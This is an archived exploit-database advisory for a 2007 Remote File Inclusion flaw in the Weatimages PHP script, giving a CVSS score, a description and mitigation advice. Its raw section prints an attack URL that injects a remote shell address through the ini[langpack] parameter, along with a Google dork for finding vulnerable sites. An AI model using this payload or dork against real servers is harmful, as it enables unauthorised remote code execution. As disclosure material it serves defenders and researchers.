RFI Weatimages Hack

vendor:

Weatimages

by:

Co-Sarper-Der

7.5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Weatimages

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

The Weatimages script is vulnerable to Remote File Inclusion (RFI) attack. An attacker can exploit this vulnerability to include and execute arbitrary remote files on the server.

Mitigation:

To mitigate this vulnerability, it is recommended to update the script to a patched version or apply security fixes provided by the vendor. Additionally, ensure that proper input validation and sanitization is implemented to prevent RFI attacks.

Source

Exploit-DB raw data:

RFI Weatimages Hack
Script name : Weatimages
Script Download Adress:http://www.hotscripts.com/jump.php?listing_id=52592&jump_type=1
Demo site:http://www.nazarkin.name/projects/weatimages/demo/index.php?ini[langpack]=shelladress
Google Dork : inurl: index.php?ini[langpack]=

Author:Co-Sarper-Der
Contact:Sarperonline@gmail.com
Note:Thanx to ForeveRIslam

side note:

4. Installation

Unpack file "index.php" from this archive and upload it to separate directory (e.g. "photos/") on your web server.
In order to enable caching capabilities, you need to create the new directory named "weatimages-cache" in directory 
with "index.php" and to set access rights 777 (rwxrwxrwx) to "weatimages-cache".
If you plan to customize configuration, upload "weatimages.ini" too.

If weatimages.ini was uploaded too then the product isn't vulnerable.

# milw0rm.com [2007-04-10]